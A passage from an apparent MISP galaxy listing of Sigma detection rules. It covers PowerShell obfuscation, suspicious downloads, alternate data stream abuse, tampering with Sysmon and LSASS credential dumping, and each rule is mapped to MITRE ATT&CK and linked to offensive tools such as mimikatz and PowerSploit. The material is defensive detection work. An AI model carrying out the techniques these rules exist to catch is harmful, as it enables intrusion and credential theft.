The tag is: *misp-galaxy:sigma-rules="Use Get-NetTCPConnection - PowerShell Module"*

View relationships graph

Use Get-NetTCPConnection - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 16696. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml

Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module"*

View relationships graph

Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16697. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml

PowerShell Decompress Commands

A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.

The tag is: *misp-galaxy:sigma-rules="PowerShell Decompress Commands"*

View relationships graph

PowerShell Decompress Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 16698. Table References

Links

https://github.com/OTRF/detection-hackathon-apt29/issues/8
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml

Suspicious Get Local Groups Information

Detects the use of PowerShell modules and cmdlets to gather local group information. Adversaries may use local system permission groups to determine which groups exist and which users belong to a particular group such as the local administrators group.

The tag is: *misp-galaxy:sigma-rules="Suspicious Get Local Groups Information"*

View relationships graph

Suspicious Get Local Groups Information has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

Table 16699. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_local_group_reco.yml

Malicious PowerShell Scripts - PoshModule

Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance

The tag is: *misp-galaxy:sigma-rules="Malicious PowerShell Scripts - PoshModule"*

View relationships graph

Malicious PowerShell Scripts - PoshModule has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16700. Table References

Links
https://github.com/NetSPI/PowerUpSQL

https://github.com/S3cur3Th1sSh1t/WinPwn
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/
https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
https://web.archive.org/web/20210511204621/https://github.com/AlsidOfficial/WSUSpendu
https://github.com/nettitude/Invoke-PowerThIEf
https://github.com/DarkCoderSc/PowerRunAsSystem/
https://github.com/The-Viper-One/Invoke-PowerDPAPI/
https://github.com/HarmJ0y/DAMP
https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/
https://github.com/besimorhino/powercat
https://github.com/PowerShellMafia/PowerSploit
https://github.com/CsEnox/EventViewer-UACBypass
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
https://github.com/sadshade/veeam-creds/blob/6010eaf31ba41011b58d6af3950cffbf6f5cea32/Veeam-Get-Creds.ps1
https://github.com/Arno0x/DNSExfiltrator/
https://github.com/samratashok/nishang
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_exploit_scripts.yml

Suspicious Get-ADDBAccount Usage

Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers

The tag is: *misp-galaxy:sigma-rules="Suspicious Get-ADDBAccount Usage"*

View relationships graph

Suspicious Get-ADDBAccount Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 16701. Table References

Links
https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/
https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml

Invoke-Obfuscation Via Use Rundll32 - PowerShell Module

Detects Obfuscated Powershell via use Rundll32 in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Rundll32 - PowerShell Module"*

View relationships graph

Invoke-Obfuscation Via Use Rundll32 - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16702. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml

Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module

Detects PowerShell module creation where the module Contents are set to "function Get-VMRemoteFXPhysicalVideoAdapter". This could be a sign of potential abuse of the "RemoteFXvGPUDisablement.exe" binary which is known to be vulnerable to module load-order hijacking.

The tag is: *misp-galaxy:sigma-rules="Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module"*

View relationships graph

Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16703. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md
https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remotefxvgpudisablement_abuse.yml

Malicious PowerShell Commandlets - PoshModule

Detects Commandlet names from well-known PowerShell exploitation frameworks

The tag is: *misp-galaxy:sigma-rules="Malicious PowerShell Commandlets - PoshModule"*

View relationships graph

Malicious PowerShell Commandlets - PoshModule has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16704. Table References

Links
https://adsecurity.org/?p=2921

https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/
https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html
https://github.com/DarkCoderSc/PowerRunAsSystem/
https://github.com/calebstewart/CVE-2021-1675
https://github.com/The-Viper-One/Invoke-PowerDPAPI/
https://github.com/HarmJ0y/DAMP
https://github.com/Kevin-Robertson/Powermad
https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
https://github.com/Arno0x/DNSExfiltrator/
https://github.com/adrecon/ADRecon
https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/
https://github.com/besimorhino/powercat
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
https://github.com/sadshade/veeam-creds/blob/6010eaf31ba41011b58d6af3950cffbf6f5cea32/Veeam-Get-Creds.ps1
https://github.com/adrecon/AzureADRecon
https://github.com/samratashok/nishang
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_malicious_commandlets.yml

Suspicious PowerShell Download - PoshModule

Detects suspicious PowerShell download command

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Download - PoshModule"*

View relationships graph

Suspicious PowerShell Download - PoshModule has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-

language:likelihood-probability="almost-certain"

Table 16705. Table References

Links
https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadfile?view=net-8.0
https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_download.yml

Suspicious PowerShell Invocations - Specific - PowerShell Module

Detects suspicious PowerShell invocation command parameters

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Invocations - Specific - PowerShell Module"*

View relationships graph

Suspicious PowerShell Invocations - Specific - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16706. Table References

Links
https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml

Invoke-Obfuscation VAR+ Launcher - PowerShell Module

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR+ Launcher - PowerShell Module"*

View relationships graph

Invoke-Obfuscation VAR+ Launcher - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16707. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml

Remote PowerShell Session (PS Module)

Detects remote PowerShell sessions

The tag is: *misp-galaxy:sigma-rules="Remote PowerShell Session (PS Module)"*

View relationships graph

Remote PowerShell Session (PS Module) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1021.006" with estimative-language:likelihood-probability="almost-certain"

Table 16708. Table References

Links
https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remote_powershell_session.yml

Invoke-Obfuscation Via Stdin - PowerShell Module

Detects Obfuscated Powershell via Stdin in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Stdin - PowerShell Module"*

View relationships graph

Invoke-Obfuscation Via Stdin - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16709. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml

SyncAppvPublishingServer Bypass Powershell Restriction - PS Module

Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.

The tag is: *misp-galaxy:sigma-rules="SyncAppvPublishingServer Bypass Powershell Restriction - PS Module"*

View relationships graph

SyncAppvPublishingServer Bypass Powershell Restriction - PS Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16710. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml

Suspicious PowerShell Invocations - Generic - PowerShell Module

Detects suspicious PowerShell invocation command parameters

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Invocations - Generic - PowerShell Module"*

View relationships graph

Suspicious PowerShell Invocations - Generic - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16711. Table References

Links

Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_generic.yml

Bad Opsec Powershell Code Artifacts

focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec.

The tag is: *misp-galaxy:sigma-rules="Bad Opsec Powershell Code Artifacts"*

View relationships graph

Bad Opsec Powershell Code Artifacts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16712. Table References

Links
https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/
https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/
https://www.mdeditor.tw/pl/pgRt
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml

Zip A Folder With PowerShell For Staging In Temp - PowerShell Module

Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

The tag is: *misp-galaxy:sigma-rules="Zip A Folder With PowerShell For Staging In Temp - PowerShell Module"*

View relationships graph

Zip A Folder With PowerShell For Staging In Temp - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

Table 16713. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml

Clear PowerShell History - PowerShell Module

Detects keywords that could indicate clearing PowerShell history

The tag is: *misp-galaxy:sigma-rules="Clear PowerShell History - PowerShell Module"*

View relationships graph

Clear PowerShell History - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 16714. Table References

Links
https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module

Detects Obfuscated Powershell via VAR++ LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module"*

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16715. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module"*

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16716. Table References

Links
https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml

Invoke-Obfuscation STDIN+ Launcher - PowerShell Module

Detects Obfuscated use of stdin to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher - PowerShell Module"*

View relationships graph

Invoke-Obfuscation STDIN+ Launcher - PowerShell Module has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-

language:likelihood-probability="almost-certain"

Table 16717. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml

PowerShell Get Clipboard

A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.

The tag is: *misp-galaxy:sigma-rules="PowerShell Get Clipboard"*

View relationships graph

PowerShell Get Clipboard has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 16718. Table References

Links
https://github.com/OTRF/detection-hackathon-apt29/issues/16
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml

Potentially Suspicious File Download From ZIP TLD

Detects the download of a file with a potentially suspicious extension from a .zip top level domain.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious File Download From ZIP TLD"*

Table 16719. Table References

Links
https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/
https://twitter.com/cyb3rops/status/1659175181695287297
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_zip_tld_download.yml

Unusual File Download From File Sharing Websites - File Stream

Detects the download of suspicious file type from a well-known file and paste sharing domain

The tag is: *misp-galaxy:sigma-rules="Unusual File Download From File Sharing Websites - File Stream"*

View relationships graph

Unusual File Download From File Sharing Websites - File Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 16720. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015
https://www.cisa.gov/uscert/ncas/alerts/aa22-321a
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file_sharing_domains_download_unusual_extension.yml

HackTool Named File Stream Created

Detects the creation of a named file stream with the imphash of a well-known hack tool

The tag is: *misp-galaxy:sigma-rules="HackTool Named File Stream Created"*

View relationships graph

HackTool Named File Stream Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 16721. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/wavestone-cdt/EDRSandblast
https://github.com/outflanknl/Dumpert
https://github.com/fortra/nanodump
https://github.com/topotam/PetitPotam

https://github.com/codewhitesec/HandleKatz
https://www.tarasco.org/security/pwdump_7/
https://github.com/ohpe/juicy-potato
https://github.com/gentilkiwi/mimikatz
https://github.com/xuanxuan0/DripLoader
https://github.com/antonioCoco/RoguePotato
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_hktl_generic_download.yml

Potential Suspicious Winget Package Installation

Detects potential suspicious winget package installation from a suspicious source.

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious Winget Package Installation"*

Table 16722. Table References

Links
https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_winget_susp_package_source.yml

Creation Of a Suspicious ADS File Outside a Browser Download

Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers

The tag is: *misp-galaxy:sigma-rules="Creation Of a Suspicious ADS File Outside a Browser Download"*

Table 16723. Table References

Links
https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml

Hidden Executable In NTFS Alternate Data Stream

Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash

The tag is: *misp-galaxy:sigma-rules="Hidden Executable In NTFS Alternate Data Stream"*

View relationships graph

Hidden Executable In NTFS Alternate Data Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 16724. Table References

Links
https://twitter.com/0xrawsec/status/1002478725605273600?s=21
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml

Exports Registry Key To an Alternate Data Stream

Exports the target Registry key and hides it in the specified alternate data stream.

The tag is: *misp-galaxy:sigma-rules="Exports Registry Key To an Alternate Data Stream"*

View relationships graph

Exports Registry Key To an Alternate Data Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 16725. Table References

Links
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
https://lolbas-project.github.io/lolbas/Binaries/Regedit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_regedit_export_to_ads.yml

Suspicious File Download From File Sharing Websites - File Stream

Detects the download of suspicious file type from a well-known file and paste sharing domain

The tag is: *misp-galaxy:sigma-rules="Suspicious File Download From File Sharing Websites - File Stream"*

View relationships graph

Suspicious File Download From File Sharing Websites - File Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 16726. Table References

Links
https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/
https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015
https://www.cisa.gov/uscert/ncas/alerts/aa22-321a
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_file_sharing_domains_download_susp_extension.yml

Unusual File Download from Direct IP Address

Detects the download of suspicious file type from URLs with IP

The tag is: *misp-galaxy:sigma-rules="Unusual File Download from Direct IP Address"*

View relationships graph

Unusual File Download from Direct IP Address has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 16727. Table References

Links
https://labs.withsecure.com/publications/detecting-onenote-abuse
https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml

HackTool - SysmonEnte Execution

Detects the use of SysmonEnte, a tool to attack the integrity of Sysmon

The tag is: *misp-galaxy:sigma-rules="HackTool - SysmonEnte Execution"*

View relationships graph

HackTool - SysmonEnte Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with

estimative-language:likelihood-probability="almost-certain"

Table 16728. Table References

Links
https://github.com/codewhitesec/SysmonEnte/blob/fe267690fcc799fbda15398243615a30451d9099/screens/1.png
https://codewhitesec.blogspot.com/2022/09/attacks-on-sysmon-revisited-sysmonente.html
https://github.com/codewhitesec/SysmonEnte/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_hktl_sysmonente.yml

CMSTP Execution Process Access

Detects various indicators of Microsoft Connection Manager Profile Installer execution

The tag is: *misp-galaxy:sigma-rules="CMSTP Execution Process Access"*

View relationships graph

CMSTP Execution Process Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"

Table 16729. Table References

Links
https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml

Credential Dumping Activity By Python Based Tool

Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.

The tag is: *misp-galaxy:sigma-rules="Credential Dumping Activity By Python Based Tool"*

View relationships graph

Credential Dumping Activity By Python Based Tool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16730. Table References

Links
https://github.com/skelsec/pypykatz
https://twitter.com/bh4b3sh/status/1303674603819081728
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_python_based_tool.yml

Potential Credential Dumping Activity Via LSASS

Detects process access requests to the LSASS process with specific call trace calls and access masks. This behaviour is expressed by many credential dumping tools such as Mimikatz, NanoDump, Invoke-Mimikatz, Procdump and even the Taskmgr dumping feature.

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Activity Via LSASS"*

View relationships graph

Potential Credential Dumping Activity Via LSASS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16731. Table References

Links
https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html
https://research.splunk.com/endpoint/windows_possible_credential_dumping/
https://web.archive.org/web/20230329170326/https://blog.menasec.net/2019/02/threat-hunting-21-procdump-or-taskmgr.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.001/T1003.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump.yml

Potential Direct Syscall of NtOpenProcess

Detects potential calls to NtOpenProcess directly from NTDLL.

The tag is: *misp-galaxy:sigma-rules="Potential Direct Syscall of NtOpenProcess"*

View relationships graph

